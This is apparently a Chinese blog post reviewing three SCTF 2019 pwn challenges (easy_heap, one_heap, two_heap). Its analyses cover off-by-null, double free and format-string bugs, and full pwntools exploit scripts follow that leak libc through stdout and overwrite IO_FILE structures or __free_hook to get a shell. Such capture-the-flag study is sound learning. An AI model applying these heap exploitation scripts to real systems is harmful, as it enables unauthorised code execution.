2019 SCTF部分pwn题复盘

[toc]

easy_heap

查看文件

2.23 io attack io leak off by null ## IDA分析 (1).创建:

(2)delete

(3)edit

off by null

思路

  1. 利用off by null先进行overlapping,达到heap空间复用的情况。
  2. 修改global_max_fastbin的限制,使unsorted bin也可以有fastbin attack的攻击效果
  3. 分配到stdout相应的位置,覆写read_base和flag来泄露libc地址
  4. hijacking iofile中overflow的函数来getshell

详细步骤

步骤一:off by null进行overlapping(此时:chunk 4可以覆盖到chunk 2的内容,可以进行unsorted bin attack等等)

# using off by null make overlapping, modify
create(0xe8)  # create 0
create(0x200) # create 1
create(0xe0)  # create 2
create(0x30)  # create 3
edit(1,"a"*0x1f0+p64(0x200))
delete(1)     # del 1
edit(0,"b"*0xe8)
create(0x100) # create 1
create(0x60)  # create 4 *****
delete(1)     # del 1
delete(2)     # del 2
create(0x120)  # create 1
create(0xe0)  # create 2 ******
create(0x30) # create 5
delete(2)

步骤二:修改global_max_fastbin

# there have a big point
global_max_fast = 0x37f8
# modify global_max_fastbin
edit(4,p64(0)*2+"a"*0x08+p64(0xf1)+p64(0)+p16(0x37f8-0x10))
create(0xe0) # create 2
# edit(2,p64(0)*4)
delete(2)

步骤三:利用stdout打印libc_base

# using fastbin attack
offset_maxFast_stdout = 0x11d8 # max_fast_bin - stdout
target_address = global_max_fast- offset_maxFast_stdout - 0x51 # 找到的size合适的地址
stdout_addr_last4 = global_max_fast- offset_maxFast_stdout
print hex(target_address)
edit(4,p64(0)*2+"a"*0x08+p64(0xf1)+p16(target_address))
create(0xe0) # create 2
create(0xe0) # create 6
fake_stdout = "0"
fake_stdout+= "a"*0x40
fake_stdout+= p64(0xfbad1800)
fake_stdout+= p64(0)*3
fake_stdout+= p16(stdout_addr_last4+0x20) # io_write_base指向自己,才能把地址打印出来
edit(6,fake_stdout)
stdout_addr = u64(p.recv(6).ljust(8,"\x00"))-0x20
libc_base = stdout_addr - libc.symbols["stdout"]

步骤四:hijaking io_file

one_gadget = 0xf02a4 + libc_base
fake_stderr = "0"
fake_stderr+= p64(stdout_addr-0x40) # fp->wide_data(struct)
fake_stderr+= p64(0)# 相当于是把wide_date结构体指向本身,只关注需要的变量,同时
# 数据复用,这部分既是io_file结构体的成员也是wide_date的成员
fake_stderr+= p64(one_gadget) # hajicking overflow
fake_stderr+= p64(0)
fake_stderr+= p64(1)
fake_stderr+= "a"*16
fake_stderr+= p64(stdout_addr-0x48) # fd->vtable
edit(6,fake_stderr)
p.recv()
p.sendline("4")

exp

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

context.log_level = "debug"
debug = 1

if debug:
    p = process("./easy_heap")
    elf = ELF("./easy_heap")
    libc = ELF("./libc.so.6")

def create(size):
    p.sendlineafter(">> ","1")
    p.sendlineafter("Size: ",str(size))

def delete(index):
    p.sendlineafter(">> ","2")
    p.sendlineafter("Index: ",str(index))

def edit(index,content):
    p.sendlineafter(">> ","3")
    p.sendlineafter("Index: ",str(index))
    p.sendlineafter("Content: ",content)

def exit():
    p.sendlineafter(">> ","4")

# using off by null make overlapping, modify
create(0xe8)  # create 0
create(0x200) # create 1
create(0xe0)  # create 2
create(0x30)  # create 3
edit(1,"a"*0x1f0+p64(0x200))
delete(1)     # del 1
edit(0,"b"*0xe8)
create(0x100) # create 1
create(0x60)  # create 4 *****
delete(1)     # del 1
delete(2)     # del 2
create(0x120)  # create 1
create(0xe0)  # create 2 ******
create(0x30) # create 5
delete(2)

# there have a big point
global_max_fast = 0x37f8
# modify global_max_fastbin
edit(4,p64(0)*2+"a"*0x08+p64(0xf1)+p64(0)+p16(0x37f8-0x10))
create(0xe0) # create 2
# edit(2,p64(0)*4)
delete(2)

# using fastbin attack
offset_maxFast_stdout = 0x11d8 # max_fast_bin - stdout
target_address = global_max_fast- offset_maxFast_stdout - 0x51 # 找到的size合适的地址
stdout_addr_last4 = global_max_fast- offset_maxFast_stdout
print hex(target_address)
edit(4,p64(0)*2+"a"*0x08+p64(0xf1)+p16(target_address))
create(0xe0) # create 2
create(0xe0) # create 6
fake_stdout = "0"
fake_stdout+= "a"*0x40
fake_stdout+= p64(0xfbad1800)
fake_stdout+= p64(0)*3
fake_stdout+= p16(stdout_addr_last4+0x20) # io_write_base指向自己,才能把地址打印出来
edit(6,fake_stdout)
stdout_addr = u64(p.recv(6).ljust(8,"\x00"))-0x20
libc_base = stdout_addr - libc.symbols["stdout"]

one_gadget = 0xf02a4 + libc_base
fake_stderr = "0"
fake_stderr+= p64(stdout_addr-0x40) # fp->wide_data(struct)
fake_stderr+= p64(0)# 相当于是把wide_date结构体指向本身,只关注需要的变量,同时
# 数据复用,这部分既是io_file结构体的成员也是wide_date的成员
fake_stderr+= p64(one_gadget) # hajicking overflow
fake_stderr+= p64(0)
fake_stderr+= p64(1)
fake_stderr+= "a"*16
fake_stderr+= p64(stdout_addr-0x48) # fd->vtable
edit(6,fake_stderr)
p.recv()
p.sendline("4")
print hex(stdout_addr)
p.interactive()

one_heap

查看文件

2.27 hijacking tcache header

IDA分析

删除:

double free

创建:

读取函数测试了半天也没什么问题:

总结一下条件:
1.规定释放次数不大于4
2.malloc次数不大于0xf
3.ptr保留在bss端上
4.chunk大小不大于0x7f

思路

按照往常思路:首先需要leak libc,没有打印函数那么就需要hijacking stdout,需要fastbin attack。但是这里限制释放次数4,那么肯定走不通,同样的想利用unsorted bin attack之类的以往常思路也走不通。

通过学习别人的exp了解到tcache还有一种攻击方式就是:control tcache header。这里简单先说明此题所需要的原理:tcache前面的内容全部是代表每个tcache list中chunk的个数。如果我们可以劫持header修改其参数,那么我们就可以释放到原本的unsorted bin或者其他bin中。

那么如何劫持呢:这里需要爆破。首先double free之后chunk会指向main arean地址,那么我们进行爆破一下就可以分配到header了,之后分配chunk修改参数将所有tcache链都full掉。之后删除这个chunk就会进入unsorted bin。这时在进行io_file attack来泄露libc base。最后再利用一次double free的漏洞进行hijacking hook。

步骤

步骤一:控制header:(这里需要注意:1.0x40的number表示参数。2.需要注意其堆分布情况,要注意由于free有限需要令后面的chunk不能太大,要在0x80以内,难点)

create(0x68,"b"*0x68) # 1
delete()
delete()
create(0x68,"\x10\x70"+"\n")
create(0x68,"\n")
create(0x68,'\xff'*0x40+"\n")
delete()
create(0x48,'\xff'*0x40+"\n")
create(0x18,"\x60\x07\xdd"+"\n") # 大的size不能滿足後面的double free時的題目size限制範圍

如图:

黑框是以后需要hijacking hook时利用的。

步骤二:leak libc base:(这里就一点:18版本stdout和_IO_2_1_stdout_大小不同)

create(0x30,p64(0xfbad1800)+p64(0)*3+"\x80"+"\n")
data = u64(p.recv(6).ljust(8,"\x00"))
print hex(data)
libc_base = data - libc.symbols["_IO_2_1_stdout_"]-0x20
print hex(libc_base)

步骤三:hijacking hook:

one_gadgets = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = one_gadgets[1]+libc_base
free_hook = libc_base+libc.symbols["__free_hook"]
print hex(free_hook)

create(0x40,p64(free_hook)*4+"\n")
create(0x70,"\n")
create(0x70,p64(one_gadget)+"\n")

exp

# decoding:utf-8
from pwn import *
context.log_level = "debug"

p = process("./one_heap")
elf = ELF("./one_heap")

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def create(size,content):
    p.sendlineafter("choice:","1")
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def delete():
    p.sendlineafter("choice:","2")

create(0x68,"b"*0x68) # 1
delete()
delete()
create(0x68,"\x10\x70"+"\n")
create(0x68,"\n")
create(0x68,'\xff'*0x40+"\n")
delete()
create(0x48,'\xff'*0x40+"\n")
create(0x18,"\x60\x07\xdd"+"\n") # 大的size不能滿足後面的double free時的題目size限制範圍

create(0x30,p64(0xfbad1800)+p64(0)*3+"\x80"+"\n")
data = u64(p.recv(6).ljust(8,"\x00"))
print hex(data)
libc_base = data - libc.symbols["_IO_2_1_stdout_"]-0x20
print hex(libc_base)

one_gadgets = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = one_gadgets[1]+libc_base
free_hook = libc_base+libc.symbols["__free_hook"]
print hex(free_hook)

create(0x40,p64(free_hook)*4+"\n")
create(0x70,"\n")
create(0x70,p64(one_gadget)+"\n")

p.interactive()

two_heap

查看文件

IDA分析

这里有格式化字符串漏洞,可以利用%a leak libc地址
通过这个函数来进行预防相同size的创建。

思路

格式化字符串,开始输入,%a*5会leak出libc地址,必须在libc2.26才能打印出stdout地址。

可以绕过size检查:0、8、0x10、0x18,这些都可以创建0x20chunk,那么就可以UAF后的fastbin attack(Tcache)

exp

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os

context.log_level = "debug"
p = process("./two_heap")
def change_ld(binary, ld):
    """
    Force to use assigned new ld.so by changing the binary
    """
    if not os.access(ld, os.R_OK):
        log.failure("Invalid path {} to ld".format(ld))
        return None

    if not isinstance(binary, ELF):
        if not os.access(binary, os.R_OK):
            log.failure("Invalid path {} to binary".format(binary))
            return None
        binary = ELF(binary)
    for segment in binary.segments:
        if segment.header['p_type'] == 'PT_INTERP':
            size = segment.header['p_memsz']
            addr = segment.header['p_paddr']
            data = segment.data()
            if size <= len(ld):
                log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
                return None
            binary.write(addr, ld.ljust(size, '\0'))
            if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
            path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
            if os.access(path, os.F_OK):
                os.remove(path)
                info("Removing exist file {}".format(path))
            binary.save(path)    
            os.chmod(path, 0b111000000) #rwx------
    success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
    return ELF(path)

elf = change_ld('./two_heap', './ld.so.2')
p = elf.process(env={'LD_PRELOAD':'./libc-2.26.so'})
libc = ELF("./libc-2.26.so")

def start(content):
    p.sendafter("SCTF:\n",content)

def create(size,content):
    p.sendlineafter("choice:","1")
    p.sendlineafter("size:\n",str(size))
    p.sendafter("note:\n",content)

def delete(index):
    p.sendlineafter("choice:","2")
    p.sendlineafter("index:\n",str(index))

start("%a%a%a%a%a\n")

p.recvuntil("0x0p+00x0p+00x0.0")

one_gadgets = [0x45e0a,0x45e5e,0xe361b]

data = int(p.recv(11)+"0",16)
libc_base = data-libc.symbols["_IO_2_1_stdout_"]
print hex(data)

create(3,"")
# delete(1)
delete(0)
delete(0)

create(8,p64(libc_base+libc.symbols["__free_hook"]))

create(0x10,'\n')
create(0x18,p64(libc.symbols['system']+libc_base)+'\n')
create(0x40,'/bin/sh'+'\n')
# gdb.attach(p)
delete(4)
p.interactive()

  Reprint policy: xiaoxin 2019 SCTF部分pwn题复盘

 Previous
House of husk学习记录 House of husk学习记录
0x00 原理这种攻击方式主要是利用了printf的一个调用链,应用场景是只能分配较大chunk时(超过fastbin),存在或可以构造出UAF漏洞。类似于之前改global_max_fast后覆盖到top chunk的那种情况,只是后续利
2020-10-19
Next 
2020 De1CTF部分pwn题复盘 2020 De1CTF部分pwn题复盘
stl_container查看文件 保护全开 2.27 libc,C++题 vector释放机制漏洞 IDA分析题目提供四个机制:list、vector、stack、queue每个机制下都有一个小菜单,分别是create、delete、s
2020-10-09
  TOC